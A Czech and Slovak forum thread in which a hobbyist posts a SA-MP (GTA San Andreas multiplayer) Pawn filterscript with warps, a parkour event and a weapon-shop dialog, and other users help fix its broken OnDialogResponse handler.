SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, " ");
SendClientMessage(playerid, -1, "[ DOPLNKY ] Chat uspěšne smazán! ");
return 1;
}


if (strcmp("/dupdate", cmdtext, true, 10) == 0)
{
ShowPlayerDialog(playerid, 100, DIALOG_STYLE_MSGBOX, "Updates","{00FFEE}Alpha Build Version 1.0 \n{00FFEE}- Přidaný Event System \n{00FFEE}- Přidaný Warp System \n{00FFEE}- Admin Port \n{00FFEE} \n \nBeta Verze 1.0 \n- Přidané zbrané \n - Přidané vybavení","OK","");
return 1;
}

if (strcmp("/pevent", cmdtext, true, 10) == 0)
{
if(ParkourP[playerid] == 1)
{
new pName[70];
new string[185];
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval na port povolený adminem (/pevent)", pName);
SetPlayerPos(playerid,1941.53,1658.46,23.40);
ShowPlayerDialog(playerid, 198, DIALOG_STYLE_MSGBOX, "Pravidla Parkouru","1.Hráč nesmí podvádět CLEO Scriptama,Hackama a jinými zvýhodnovacími programy! \n2.Když je jeden ze zúčastníku eventu nahoře administrátor, který založil event musí dat hráči odměnu!(Jakoukoliv!) \n3.Nevyužívat žádne bugy 'mapy' \n4.Na Eventu je přisně zakázano mít zbraně a zabíjet hráče!!","Souhlasím","Nesouhlasím");
SendClientMessageToAll(COLOR_YELLOW, string);
}

if(ParkourP[playerid] == 0)
{
SendClientMessage(playerid,0x008000,"[ DOPLNKY ] Port není povolený, nemužeš se portnout!");
}
return 1;
}

if (strcmp("/boost", cmdtext, true, 10) == 0)
{
if(VehicleBoost[playerid] == 1)
{
SendClientMessage(playerid, -1, "{FFFF00}[ DOPLNKY ] Zrýchlení auta vypnuto! ");
VehicleBoost[playerid] = 0;
return 1;
}
else
{
SendClientMessage(playerid, -1, "{FFFF00}[ DOPLNKY ] Zrýchlení auta zapnuto!");
VehicleBoost[playerid] = 1;
return 1;
}
}

if(strcmp("/vgod", cmdtext, true, 10) == 0)
{
if(VGod[playerid] == 1)
{
VGod[playerid] = 0;
SendClientMessage(playerid,0x7D0000AA,"[ STUNT ] Nesmrtelnost auta vypnutá!");
return 1;
}
else if(VGod[playerid] == 0)
{
VGod[playerid] = 1;
SendClientMessage(playerid,0x21DD00FF,"[ STUNT ] Nesmrtelnost auta zapnutá!");
return 1;
}
}


if(strcmp("/azona", cmdtext, true, 10) == 0)
{
if(IsPlayerAdmin(playerid))
{
new pName[70];
new string[185];
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY AZONA ] Hráč %s se odwarpoval na Admin Zónu (/azona)", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
SetPlayerPos(playerid,-3135.47,1739.23,68.47);
return 1;

}
else
{
SendClientMessage(playerid,0x7D0000AA,"[ DOPLNKY AZONA ] Nemáš RCON, nemužeš se portnout na Admin Zónu!");
return 1;
}
}
return 0;
}

public OnPlayerEnterVehicle(playerid, vehicleid, ispassenger)
{
return 1;
}

public OnPlayerExitVehicle(playerid, vehicleid)
{
return 1;
}

public OnPlayerStateChange(playerid, newstate, oldstate)
{
return 1;
}

public OnPlayerEnterCheckpoint(playerid)
{
return 1;
}

public OnPlayerLeaveCheckpoint(playerid)
{
return 1;
}

public OnPlayerEnterRaceCheckpoint(playerid)
{
return 1;
}

public OnPlayerLeaveRaceCheckpoint(playerid)
{
return 1;
}

public OnRconCommand(cmd[])
{
return 1;
}

public OnPlayerRequestSpawn(playerid)
{
return 1;
}

public OnObjectMoved(objectid)
{
return 1;
}

public OnPlayerObjectMoved(playerid, objectid)
{
return 1;
}

public OnPlayerPickUpPickup(playerid, pickupid)
{
if(pickupid == ParkourPickup)
{
GivePlayerMoney(playerid, 10000);
GivePlayerWeapon(playerid, 25, 500);
GivePlayerWeapon(playerid, 29, 500);
GivePlayerWeapon(playerid, 21, 500);

new pName[70];
new string[185];
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY PARKOUR ] Hráč %s vyhral Parkour Event, sebral si odměnu.", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
}
return 1;
}

public OnVehicleMod(playerid, vehicleid, componentid)
{
return 1;
}

public OnVehiclePaintjob(playerid, vehicleid, paintjobid)
{
return 1;
}

public OnVehicleRespray(playerid, vehicleid, color1, color2)
{
return 1;
}

public OnPlayerSelectedMenuRow(playerid, row)
{
return 1;
}

public OnPlayerExitedMenu(playerid)
{
return 1;
}

public OnPlayerInteriorChange(playerid, newinteriorid, oldinteriorid)
{
return 1;
}

public OnPlayerKeyStateChange(playerid, newkeys, oldkeys)
{
if(IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
{
if(newkeys & KEY_FIRE)
{
if(VehicleBoost[playerid] == 1)
{
new Float:vx,Float:vy,Float:vz;
GetVehicleVelocity(GetPlayerVehicleID(playerid),vx,vy,vz);
SetVehicleVelocity(GetPlayerVehicleID(playerid), vx * 1.8, vy *1.8, vz * 1.8);
}
}
}
if (IsPlayerInAnyVehicle(playerid) && GetPlayerState(playerid) == PLAYER_STATE_DRIVER)
{
if (newkeys & KEY_CROUCH)
{
new Float:x, Float:y, Float:z;
GetVehicleVelocity(GetPlayerVehicleID(playerid),x,y,z);
SetVehicleVelocity(GetPlayerVehicleID(playerid),x,y,z+0.3);
}
}
return 1;
}

public OnRconLoginAttempt(ip[], password[], success)
{
return 1;
}

public OnPlayerUpdate(playerid)
{
if(IsPlayerInAnyVehicle(playerid))
{
if(VGod[playerid] == 1)
{
new vid;
vid = GetPlayerVehicleID(playerid);
RepairVehicle(vid);
}
}
return 1;
}

public OnPlayerStreamIn(playerid, forplayerid)
{
return 1;
}

public OnPlayerStreamOut(playerid, forplayerid)
{
return 1;
}

public OnVehicleStreamIn(vehicleid, forplayerid)
{
return 1;
}

public OnVehicleStreamOut(vehicleid, forplayerid)
{
return 1;
}

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
if(dialogid == 88)
{
if(response)
{
switch (listitem)
{
case 0:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 2419.45, 1128.28, 11.27);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Uřadu v LV", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 1:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 1697.30, 1439.88, 11.01);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval do Las Venturas", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);

}

case 2:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, -2033.93,172.72,29.09);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval do San Fierra", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 3:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 1128.31,-1459.23,15.93);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval do Los Santos", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 4:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 2287.30,2425.21,11.13);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Policii v LV", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 5:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 1544.30,-1676.00,14.90);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Policii v LS", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 6:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, -1598.66,673.45,8.20);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Policii SF", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 7:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, -2695.92,217.73,4.82);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval na Tuning v SF", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 8:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 2384.67,1005.34,12.56);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval na Tuning v LV", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 9:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 2645.08,-2002.42,14.74);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval na Tuning v LS", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 10:
{
if(IsPlayerAdmin(playerid))
{
ShowPlayerDialog(playerid,89,DIALOG_STYLE_LIST,"Parkour Event","Zapnout \nVypnout","Vybrat","Konec");
}
else
{
SendClientMessage(playerid,0x008000,"[ DOPLNKY ] Nemáš RCON, nemužeš povolit Parkour Port!");
}
}

case 11:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 350.69,2015.56,23.07);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Arei v LV", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 12:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, 406.19,2537.77,16.65);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval k Letišti v Nevade", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}

case 13:
{
new Float:X, Float:Y, Float:Z;
new pName[70];
new string[185];
SetPlayerPos(playerid, -958.17,2718.12,46.54);
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] Hráč %s se odwarpoval na Ostrov na Venkově", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
new vehicleid = GetPlayerVehicleID(playerid);
SetVehiclePos(vehicleid, X,Y,Z);
}
}
}
}

if(dialogid == 89)
{
if(response)
{
switch (listitem)
{



case 0:
{

new pName[70];
new string[185];
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] RCON Administrátor %s povolil port Parkour Event (/pevent)", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
for(new i=0; i<MAX_PLAYERS; i++)
{
if(IsPlayerConnected(i))
{
ParkourP[i] = 1;
}
}
}

case 1:
{
new pName[70];
new string[185];
GetPlayerName(playerid, pName, 28);
format(string, sizeof(string), "[ DOPLNKY ] RCON Administrátor %s zakázal port Parkour Event", pName);
SendClientMessageToAll(COLOR_YELLOW, string);
for(new o=0; o<MAX_PLAYERS; o++)
{
if(IsPlayerConnected(o))
{
ParkourP[o] = 0;
}
}
}
}
}


if(dialogid == 198)
{
if(response == 0)
{
SetPlayerPos(playerid,1608.68,1822.47,11.31);
SendClientMessage(playerid, COLOR_YELLOW, "[ DOPLNKY ] Nesouhlasil si s pravidly eventu!");
}
}



if(dialogid == 1921)
{
if(response)
{
switch(listitem)
{
case 0:
{
if(GetPlayerMoney(playerid) < 500000) return SendClientMessage(playerid, 0xFF0000AA, "[ DOPLNKY ] Nemáte dostatek penězí");
GivePlayerMoney(playerid, -500000);
SetPlayerArmour(playerid, 100);
}

case 1:
{
if(GetPlayerMoney(playerid) < 1000000) return SendClientMessage(playerid, 0xFF0000AA, "[ DOPLNKY ] Nemáte dostatek penězí");
GivePlayerMoney(playerid, -1000000);
SetPlayerHealth(playerid, 100);
}
}
return 1;
}
}

if(dialogid == 1)
{
if(response)
{

switch (listitem)
{


case 0:
{

GivePlayerWeapon(playerid, 22, 100);
GivePlayerMoney(playerid, -5000);
}

case 1:
{

GivePlayerWeapon(playerid, 23, 100);
GivePlayerMoney(playerid, -7000);
}

case 2:
{

GivePlayerWeapon(playerid, 24, 100);
GivePlayerMoney(playerid, -13000);
}

case 3:
{

GivePlayerWeapon(playerid, 28, 120);
GivePlayerMoney(playerid, -15000);
}

case 4:
{

GivePlayerWeapon(playerid, 32, 120);
GivePlayerMoney(playerid, -15000);
}

case 5:
{

GivePlayerMoney(playerid, -20000);
GivePlayerWeapon(playerid, 29, 120);
}

case 6:
{

GivePlayerMoney(playerid, -25000);
GivePlayerWeapon(playerid, 26, 50);
}

case 7:
{

GivePlayerWeapon(playerid, 27, 25);
GivePlayerMoney(playerid, -25000);
}

case 8:
{

GivePlayerMoney(playerid, -10000);
GivePlayerWeapon(playerid, 25, 25);
}
}
}
}
}




return 1;
}

public OnPlayerClickPlayer(playerid, clickedplayerid, source)
{
return 1;
}
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Fungují ti ostatní dialogy ? Ty warpy a další věci přes dialog ? Proto že nikde nevidím nahoře nadefinované DIALOG ID

Fungují normálně pravě proto nevím proč to nejde ja to mám všechno definovaný na číselka.

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Nechcelo sa mi prechádzať celý kód, ale ten dialóg by mal fungovať.

Nevím či mám nahodou postižený pawno protože toto už není ani možný, bez jednoho warningu a erroru to je ale nejde to já to prostě nepochopím.

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Musíš pak mít někde chybu v publicu OnDialogResponse koukni se jestli to nemáš blbě ukončeno nebo jestli to máš dobře napojeno na ten dialog /guns

Podívám se ale co když to nepude?

Skús dať napr. do case 0 nejaký print, napr. print("Zvolil si položku 1") a potom sa pozri do konzoly, či sa správa objavila.

Prostě nejde ani tak ani tak, dal sem tam všechno co jste říkali ale prostě ani jedno s toho nepomohlo všechny příkazy jdou  jenom tento ne, to prostě nepochopím..

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Zkus pak to co napsal bebecka zjistíš jestli to půjde a nebo né

Zkoušel nefunguje ani jedno, nevím či tomu pawnu jeb* ale prostě mě to sere to je asi nejduležitejší kód, kterej tam potřebuju

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Máš tam error, lenže Pawno je pravdepodobne bugnuté alebo niečo. Vymaž jednú zátvorku na konci a malo by to fungovať.

C:\Users\Lemon\Desktop\doplnkyl.pwn(1279) : error 029: invalid expression, assumed zero
C:\Users\Lemon\Desktop\doplnkyl.pwn(1279) : error 004: function "OnPlayerClickPlayer" is not implemented
C:\Users\Lemon\Desktop\doplnkyl.pwn(1283) : error 030: compound statement not closed at the end of file (started at line 929)
Pawn compiler 3.2.3664 Copyright © 1997-2006, ITB CompuPhase
 
 
3 Errors.
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Hmm, ešte sa na to pozriem raz a dám vedieť..

Hej fakt si cením vaší snahu a děkuju že tu semnou strácíte čas když najdete chybu tak prosím řeknite a když ne tak to smazu nebo skusím přeinstalovat pawno..

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Skús celý OnDialogResponse() nahradiť týmto, či to bude fungovať:

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
	if(dialogid == 1)
 	{
  		if(response)
    	{
			switch (listitem)
   			{
	   			case 0:
				{
					GivePlayerWeapon(playerid, 22, 100);
					GivePlayerMoney(playerid, -5000);
				}
				
				case 1:
				{
					GivePlayerWeapon(playerid, 23, 100);
					GivePlayerMoney(playerid, -7000);
				}
				
				case 2:
    			{
					GivePlayerWeapon(playerid, 24, 100);
					GivePlayerMoney(playerid, -13000);
     			}
     			
				case 3:
				{
					GivePlayerWeapon(playerid, 28, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 4:
				{
					GivePlayerWeapon(playerid, 32, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 5:
				{
					GivePlayerMoney(playerid, -20000);
					GivePlayerWeapon(playerid, 29, 120);
				}

				case 6:
    			{
					GivePlayerMoney(playerid, -25000);
					GivePlayerWeapon(playerid, 26, 50);
    	 		}

				case 7:
				{
					GivePlayerWeapon(playerid, 27, 25);
					GivePlayerMoney(playerid, -25000);
				}

				case 8:
				{
					GivePlayerMoney(playerid, -10000);
					GivePlayerWeapon(playerid, 25, 25);
				}
			}
		}
		return 1;
	}
	return 0;
}
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Skús celý OnDialogResponse() nahradiť týmto, či to bude fungovať:

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
	if(dialogid == 1)
 	{
  		if(response)
    	{
			switch (listitem)
   			{
	   			case 0:
				{
					GivePlayerWeapon(playerid, 22, 100);
					GivePlayerMoney(playerid, -5000);
				}
				
				case 1:
				{
					GivePlayerWeapon(playerid, 23, 100);
					GivePlayerMoney(playerid, -7000);
				}
				
				case 2:
    			{
					GivePlayerWeapon(playerid, 24, 100);
					GivePlayerMoney(playerid, -13000);
     			}
     			
				case 3:
				{
					GivePlayerWeapon(playerid, 28, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 4:
				{
					GivePlayerWeapon(playerid, 32, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 5:
				{
					GivePlayerMoney(playerid, -20000);
					GivePlayerWeapon(playerid, 29, 120);
				}

				case 6:
    			{
					GivePlayerMoney(playerid, -25000);
					GivePlayerWeapon(playerid, 26, 50);
    	 		}

				case 7:
				{
					GivePlayerWeapon(playerid, 27, 25);
					GivePlayerMoney(playerid, -25000);
				}

				case 8:
				{
					GivePlayerMoney(playerid, -10000);
					GivePlayerWeapon(playerid, 25, 25);
				}
			}
		}
		return 1;
	}
	return 0;
}

Mockrát ti děkuju si moc hodnej že si mi stím pomohl jen jeden dotaz, jak si to udelal ? :d

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Když se kouknu na tvůj public a jeho tak tam jde vydět jasný pořádek v tom :d Jako né že by jsi to neuměl ale člověk když v tom má bordel a nevyzná se v tom co k čemu patří co kde začíná co kde končí tak jsou tam jasné chyby

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Zátvorky a chýbal ti return. Mimochodom, v príkaze máš 8 zbraní, ale v OnDialogResponse ich máš 9 (0 ... 8 = 9).

Ešte jedná vec. Namiesto GivePlayerMoney() by som použil toto:

new money = GetPlayerMoney(playerid);
if(money > počet)
{
    GivePlayerMoney(...)
    GivePlayerWeapon(...)
}
else SendClientMessage(playerid, -1, "{FF0000}Nemáš dostatok peňazí!");

Pretože ak máš len GivePlayerMoney, tak to môže hráča dať do mínusu, ale to je už na tebe.

 


 

Když se kouknu na tvůj public a jeho tak tam jde vydět jasný pořádek v tom :d Jako né že by jsi to neuměl ale člověk když v tom má bordel a nevyzná se v tom co k čemu patří co kde začíná co kde končí tak jsou tam jasné chyby

 

 


Veď práve :) Musel som si to dať do Pawna aby som sa v tom vyznal, ale tak každý má svoj vlastný štýl.

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Pardon, je ještě píšu do již vyřešeného topicu, ale...

 

Skús celý OnDialogResponse() nahradiť týmto, či to bude fungovať:

 

 

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
	if(dialogid == 1)
 	{
  		if(response)
    	{
			switch (listitem)
   			{
	   			case 0:
				{
					GivePlayerWeapon(playerid, 22, 100);
					GivePlayerMoney(playerid, -5000);
				}
				
				case 1:
				{
					GivePlayerWeapon(playerid, 23, 100);
					GivePlayerMoney(playerid, -7000);
				}
				
				case 2:
    			{
					GivePlayerWeapon(playerid, 24, 100);
					GivePlayerMoney(playerid, -13000);
     			}
     			
				case 3:
				{
					GivePlayerWeapon(playerid, 28, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 4:
				{
					GivePlayerWeapon(playerid, 32, 120);
					GivePlayerMoney(playerid, -15000);
				}
				
				case 5:
				{
					GivePlayerMoney(playerid, -20000);
					GivePlayerWeapon(playerid, 29, 120);
				}

				case 6:
    			{
					GivePlayerMoney(playerid, -25000);
					GivePlayerWeapon(playerid, 26, 50);
    	 		}

				case 7:
				{
					GivePlayerWeapon(playerid, 27, 25);
					GivePlayerMoney(playerid, -25000);
				}

				case 8:
				{
					GivePlayerMoney(playerid, -10000);
					GivePlayerWeapon(playerid, 25, 25);
				}
			}
		}
		return 1;
	}
	return 0;
}

 

...proč dáváš podmínku, pokud stiknul první tlačítko nebo tu položku? To je přeci jasné, že to zmáčkne, spíše pokud klikne na to druhé, ne?...:

 

public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{
	if(dialogid == 1)
 	{
  		if(!response) return false; //Pokud stiskne Zavřít, dialog se zavře.
		switch (listitem)
		{
			case 0: {
				GivePlayerWeapon(playerid, 22, 100);
				GivePlayerMoney(playerid, -5000);
			}
			case 1: {
				GivePlayerWeapon(playerid, 23, 100);
				GivePlayerMoney(playerid, -7000);
			}
			case 2: {
				GivePlayerWeapon(playerid, 24, 100);
				GivePlayerMoney(playerid, -13000);
  			}
			case 3: {
				GivePlayerWeapon(playerid, 28, 120);
				GivePlayerMoney(playerid, -15000);
			}
			case 4: {
				GivePlayerWeapon(playerid, 32, 120);
				GivePlayerMoney(playerid, -15000);
			}
			case 5: {
				GivePlayerMoney(playerid, -20000);
				GivePlayerWeapon(playerid, 29, 120);
			}
			case 6: {
				GivePlayerMoney(playerid, -25000);
				GivePlayerWeapon(playerid, 26, 50);
   	 		}
			case 7: {
				GivePlayerWeapon(playerid, 27, 25);
				GivePlayerMoney(playerid, -25000);
			}

			case 8: {
				GivePlayerMoney(playerid, -10000);
				GivePlayerWeapon(playerid, 25, 25);
			}
		}
		return 1;
	}
	return 0;
}

 

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